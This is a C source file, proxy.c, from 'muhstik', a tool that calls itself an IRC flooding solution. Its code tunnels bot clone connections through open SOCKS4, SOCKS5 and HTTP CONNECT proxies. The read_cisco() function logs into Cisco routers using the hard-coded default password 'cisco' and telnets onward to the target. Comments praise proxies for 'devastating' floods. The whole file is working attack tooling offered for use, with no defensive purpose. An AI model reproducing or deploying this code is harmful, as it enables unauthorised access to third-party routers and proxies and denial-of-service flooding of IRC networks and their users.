muhstik- irc flooding solution |
git clone git://git.acid.vegas/muhstik.git |
Log | Files | Refs | Archive | README |
proxy.c (13622B)
1 /* Muhstik, Copyright (C) 2001-2002, Louis Bavoil <mulder@gmx.fr> */ 2 /* 2009-2011, Leon Kaiser <literalka@gnaa.eu> */ 3 /* */ 4 /* This program is free software; you can redistribute it and/or */ 5 /* modify it under the terms of the GNU Library General Public License */ 6 /* as published by the Free Software Foundation; either version 2 */ 7 /* of the License, or (at your option) any later version. */ 8 /* */ 9 /* This program is distributed in the hope that it will be useful, */ 10 /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ 11 /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ 12 /* GNU Library General Public License for more details. */ 13 14 /* {{{ Relevant Information: 15 * NOTE: Much of the following miles upon miles of utterly worthless blogging 16 * was taken from the BOPM source code. 17 * 18 * Cisco Routers: Cisco routers with a default password. Also pretty much 19 * anything else that will let you `telnet' to anywhere else 20 * on the Internet. These are (apparently) always on port 23. 21 * 22 * HTTP/1.1 {POST,CONNECT}: 23 * 24 * HTTP POST: The HTTP POST protocol used to often be dismissed when writing 25 * the access controls for proxies until a massive series of GNAA 26 * crapfloods. 27 * HTTP POST Offers only the opportunity to send a single block of 28 * data, but enough of them at once can still make for a 29 * devastating flood (see: `GNAA'.) Found on the same ports that 30 * HTTP CONNECT proxies inhabit. 31 * Note that if an ircd has "ping cookies" then clients from HTTP 32 * POST proxies cannot connect to the network anyway. 33 * 34 * HTTP CONNECT: A very common proxy protocol supported by widely known 35 * software such as Squid and Apache. The most common sort of 36 * insecure proxy and found on a multitude of weird ports too. 37 * Offers transparent two way TCP connections. 38 * 39 * [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1 @ <http://tools.ietf.org/txt/rfc2616.txt> 40 * [RFC2617] HTTP Authentication: Basic and Digest Access Authentication @ <http://tools.ietf.org/txt/rfc2617.txt> 41 * 42 * SOCKS{4,5}: Well known proxy protocols, probably the second most common for 43 * insecure proxies, also offers transparent two way TCP 44 * connections. Largely confined to port 1080. 45 * 46 * SOCKS4: 47 * idk @ <http://socks.permeo.com/protocol/socks4.protocol> 48 * SOCKS: A protocol for TCP proxy across firewalls @ <http://www.digitalcybersoft.com/ProxyList/socks4.shtml> 49 * SOCKS 4A: A Simple Extension to SOCKS 4 Protocol @ <http://www.digitalcybersoft.com/ProxyList/socks4a.shtml> 50 * 51 * SOCKS5: 52 * [RFC1928] SOCKS Protocol Version 5 @ <http://tools.ietf.org/txt/rfc1928.txt> 53 * [RFC1929] Username/Password Authentication for SOCKS V5 @ <http://tools.ietf.org/txt/rfc1929.txt> 54 * [RFC1961] GSS-API Authentication Method for SOCKS Version 5 @ <http://tools.ietf.org/txt/rfc1961.txt> 55 * Challenge-Handshake Authentication Protocol for SOCKS V5 @ <http://www.tools.ietf.org/html/draft-ietf-aft-socks-chap> 56 * 57 * TOR: 58 * idk @ <http://www.sectoor.de/tor.php> 59 * Tor's extensions to the SOCKS protocol @ <https://git.torproject.org/checkout/tor/master/doc/spec/socks-extensions.txt> 60 * Design For A Tor DNS-based Exit List @ <https://git.torproject.org/checkout/tor/master/doc/contrib/torel-design.txt> 61 * 62 * Misc: 63 * [RFC3089] A SOCKS-based IPv6/IPv4 Gateway Mechanism @ <http://tools.ietf.org/txt/rfc3089.txt> 64 }}} */ 65 /* {{{ Header includes */ 66 #include <stdio.h> 67 #include <stdlib.h> 68 #include <time.h> 69 #include <unistd.h> 70 71 #include "../include/proxy.h" 72 #include "../include/print.h" 73 #include "../include/net.h" 74 #include "../include/string.h" 75 #include "../include/print.h" 76 /* }}} */ 77 /* {{{ Variables */ 78 /* {{{ External variables */ 79 extern config_t conf; 80 extern clone_t *cl[]; 81 /* }}} */ 82 /* {{{ Constants */ 83 const char *strtype[] = 84 { 85 "SOCKS4", 86 "SOCKS5", 87 "proxy", 88 "cisco", 89 "vhost", 90 "direct" 91 }; 92 /* }}} */ 93 /* }}} */ 94 /* {{{ connect_clone() */ 95 int connect_clone(clone_t *clone, char *host, unsigned short port) 96 { 97 char *vhost = NULL; 98 netstore *ns = net_store_new(); 99 100 if (clone->type == VHOST) 101 { 102 vhost = clone->proxy; 103 } 104 105 if (net_resolve(ns, host, port)) 106 { 107 print(1, 4, 0, "%s: %s: nslookup failed", strtype[clone->type], host); 108 net_store_destroy(ns); 109 return 1; 110 } 111 if (net_connect(ns, &clone->sock, vhost)) 112 { 113 if (errno != EINPROGRESS) 114 { 115 net_store_destroy(ns); 116 return 1; 117 } 118 } 119 clone->start = time(NULL); 120 net_store_destroy(ns); 121 return 0; 122 } 123 /* }}} */ 124 /* {{{ init_*() */ 125 int init_irc(clone_t *clone) 126 { 127 send_irc_nick(clone, clone->nick); 128 register_clone(clone); 129 return WAIT_IRC; 130 } 131 132 int init_vhost(int sock, char *vhost) 133 { 134 netstore *ns = net_store_new(); 135 136 if (net_resolve(ns, vhost, 0)) 137 { 138 print(1, 4, 0, "vhost: %s: nslookup failed", vhost); 139 net_store_destroy(ns); 140 return 1; 141 } 142 if (net_bind(ns, sock)) 143 { 144 print(1, 0, 0, "vhost: bind: %s", strerror(errno)); 145 net_store_destroy(ns); 146 return 1; 147 } 148 149 net_store_destroy(ns); 150 return 0; 151 } 152 /* {{{ SOCKS{4,5} */ 153 /* {{{ CONNECT request byte order for SOCKS4 154 * 155 * +----+----+----+----+----+----+----+----+----+----+....+----+ 156 * | VN | CD | DSTPORT | DSTIP | USERID |NULL| 157 * +----+----+----+----+----+----+----+----+----+----+....+----+ 158 * # of bytes: 1 1 2 4 variable 1 159 * 160 * 161 * Responses: 162 * +----+----+----+----+----+----+----+----+ 163 * | VN | CD | DSTPORT | DSTIP | 164 * +----+----+----+----+----+----+----+----+ 165 * # of bytes: 1 1 2 4 166 * 167 * VN is the version of the reply code and should be 0. CD is the result 168 * code with one of the following values: 169 * 170 * 90: Request granted. 171 * 91: Request rejected or failed. 172 * 92: Request rejected because SOCKS server cannot connect to identd on the 173 * client. 174 * 93: Request rejected because the client program and identd report different 175 * user-IDs. 176 * 177 }}} */ 178 int init_socks4(clone_t *clone) 179 { 180 char buffer[9]; 181 struct in_addr addr; 182 unsigned short port; 183 184 port = htons(clone->port); 185 if (resolve(clone->host, &addr)) 186 { 187 print(1, 4, 0, "%s: %s: nslookup failed", strtype[clone->type], clone->host); 188 clone->status = EXIT; 189 } 190 memcpy(&buffer[2], &port, 2); 191 memcpy(&buffer[4], &addr.s_addr, 4); 192 buffer[0] = 4; 193 buffer[1] = 1; 194 buffer[8] = 0; 195 send(clone->sock, buffer, 9, 0); 196 return WAIT_SOCKS4; 197 } 198 199 /* {{{ Send version authentication selection message to SOCKS5 200 * 201 * +----+----------+----------+ 202 * |VER | NMETHODS | METHODS | 203 * +----+----------+----------+ 204 * | 1 | 1 | 1 to 255 | 205 * +----+----------+----------+ 206 * 207 * VER always contains 5, for SOCKSv5 208 * Method 0 is 'No authentication required' 209 * 210 * 211 * 212 * The SOCKS request is formed as follows: 213 * 214 * +----+-----+-------+------+----------+----------+ 215 * |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | 216 * +----+-----+-------+------+----------+----------+ 217 * | 1 | 1 | X'00' | 1 | Variable | 2 | 218 * +----+-----+-------+------+----------+----------+ 219 * 220 * 221 * o VER protocol version: X'05' 222 * o CMD 223 * o CONNECT X'01' 224 * o BIND X'02' 225 * o UDP ASSOCIATE X'03' 226 * o RSV RESERVED 227 * o ATYP address type of following address 228 * o IP V4 address: X'01' 229 * o DOMAINNAME: X'03' 230 * o IP V6 address: X'04' 231 * o DST.ADDR desired destination address 232 * o DST.PORT desired destination port in network octet 233 * order 234 * 235 }}} */ 236 struct sock5_connect1 237 { 238 char version; 239 char nmethods; 240 char method; 241 }; 242 243 int init_socks5(clone_t *clone) 244 { 245 struct sock5_connect1 sc1; 246 247 sc1.version = 5; 248 sc1.nmethods = 1; 249 sc1.method = 0; 250 send(clone->sock, (char *) &sc1, 3, 0); 251 252 return WAIT_SOCKS5_1; 253 } 254 255 int init_read_socks5(clone_t *clone) 256 { 257 unsigned short port; 258 unsigned char *sc2; 259 unsigned int addrlen; 260 unsigned int packetlen; 261 char buf[10]; 262 263 if (recv(clone->sock, buf, 2, 0) < 2) 264 { 265 return EXIT; 266 } 267 268 if (buf[0] != 5 && buf[1] != 0) 269 { 270 return EXIT; 271 } 272 273 port = htons(clone->port); 274 addrlen = strlen(clone->host); 275 packetlen = 4 + 1 + addrlen + 2; 276 sc2 = xmalloc(packetlen); 277 sc2[0] = 5; /* version */ 278 sc2[1] = 1; /* command */ 279 sc2[2] = 0; /* reserved */ 280 sc2[3] = 3; /* address type */ 281 sc2[4] = (unsigned char) addrlen; /* hostname length */ 282 memcpy(sc2 + 5, clone->host, addrlen); 283 memcpy(sc2 + 5 + addrlen, &port, sizeof(unsigned short)); 284 285 send(clone->sock, sc2, packetlen, 0); 286 free(sc2); 287 288 return WAIT_SOCKS5_2; 289 } 290 /* }}} */ 291 int init_proxy(clone_t *clone) 292 { 293 send_sock(clone->sock, "CONNECT %s:%d HTTP/1.0\r\n\r\n", clone->host, clone->port); 294 return WAIT_PROXY; 295 } 296 /* }}} */ 297 /* {{{ readline() */ 298 int readline(int s, char *buffer, size_t buffer_size) 299 { 300 char c; 301 unsigned int i = 0; /* ``unsigned'' is not needed, stops a warning when compiled with -Wextra */ 302 303 do { 304 if (1 > read(s, &c, 1)) 305 { 306 return 0; 307 } 308 if (i < (buffer_size - 1)) 309 { 310 buffer[i++] = c; 311 } 312 } while (c != '\n'); 313 buffer[i] = 0; 314 315 return i; 316 } 317 /* }}} */ 318 /* {{{ Cisco-related, compile-time, constants */ 319 #define CISCO_GREET "User Access Verification" 320 #define CISCO_PWD "cisco" 321 /* }}} */ 322 /* {{{ read_*() */ 323 /** 324 * read_cisco(): Cisco scanning 325 * 326 * Attempt to connect using `CISCO_PWD' as a password, then give command for 327 * telnet(1) to the scanip/scanport 328 */ 329 int read_cisco(clone_t *clone) 330 { 331 char buf[MEDBUF]; 332 333 memset(buf, 0, sizeof(buf)); 334 if (!readline(clone->sock, buf, MEDBUF)) 335 { 336 return EXIT; 337 } 338 339 if (StrCmpPrefix(buf, CISCO_GREET)) 340 { 341 return WAIT_CISCO; 342 } 343 344 send_sock(clone->sock, "%s\n", CISCO_PWD); 345 send_sock(clone->sock, "telnet %s %d\n", clone->host, clone->port); 346 return WAIT_IDENT; 347 } 348 349 int read_proxy(clone_t *clone) 350 { 351 char buf[MEDBUF]; 352 353 memset(buf, 0, sizeof(buf)); 354 if (!readline(clone->sock, buf, MEDBUF)) 355 { 356 return EXIT; 357 } 358 359 if (memcmp(buf, "HTTP/", 5) || memcmp(buf + 9, "200", 3)) 360 { 361 if (conf.debug) 362 { 363 print(0, 2, 0, "[%s;%s] PROXY: %s", clone->nick, clone->proxy, buf); 364 } 365 return EXIT; 366 } 367 368 return WAIT_IDENT; 369 } 370 371 int read_socks4(clone_t *clone) 372 { 373 char buffer[9]; 374 375 if (recv(clone->sock, buffer, 8, 0) < 8) 376 { 377 return EXIT; 378 } 379 380 if (buffer[1] != 0x5A) 381 { 382 if (conf.debug) 383 { 384 print(1, 2, 0, "[%s;%s] SOCKS4: Connection refused", clone->nick, clone->proxy); 385 } 386 return EXIT; 387 } 388 389 if (conf.debug) 390 { 391 print(1, 2, 0, "[%s;%s] SOCKS4: Success", clone->nick, clone->proxy); 392 } 393 return WAIT_IDENT; 394 } 395 396 int read_socks5(clone_t *clone) 397 { 398 unsigned char buf[MEDBUF]; 399 unsigned int packetlen; 400 401 /* consume all of the reply */ 402 if (recv(clone->sock, buf, 4, 0) < 4) 403 { 404 if (conf.debug) 405 { 406 print(1, 2, 0, "[%s;%s] SOCKS5: Permission denied", clone->nick, clone->proxy); 407 } 408 return EXIT; 409 } 410 411 if (buf[0] != 5 && buf[1] != 0) 412 { 413 return EXIT; 414 } 415 416 if (buf[3] == 1) 417 { 418 if (recv(clone->sock, buf, 6, 0) != 6) 419 { 420 return EXIT; 421 } 422 } 423 else if (buf[3] == 4) 424 { 425 if (recv(clone->sock, buf, 18, 0) != 18) 426 { 427 return EXIT; 428 } 429 } 430 else if (buf[3] == 3) 431 { 432 if (recv(clone->sock, buf, 1, 0) != 1) 433 { 434 return EXIT; 435 } 436 packetlen = buf[0] + 2; 437 if (recv(clone->sock, buf, packetlen, 0) != packetlen) 438 { 439 return EXIT; 440 } 441 } 442 443 if (conf.debug) 444 { 445 print(1, 2, 0, "[%s;%s] SOCKS5: Success", clone->nick, clone->proxy); 446 } 447 return WAIT_IDENT; 448 } 449 /* }}} */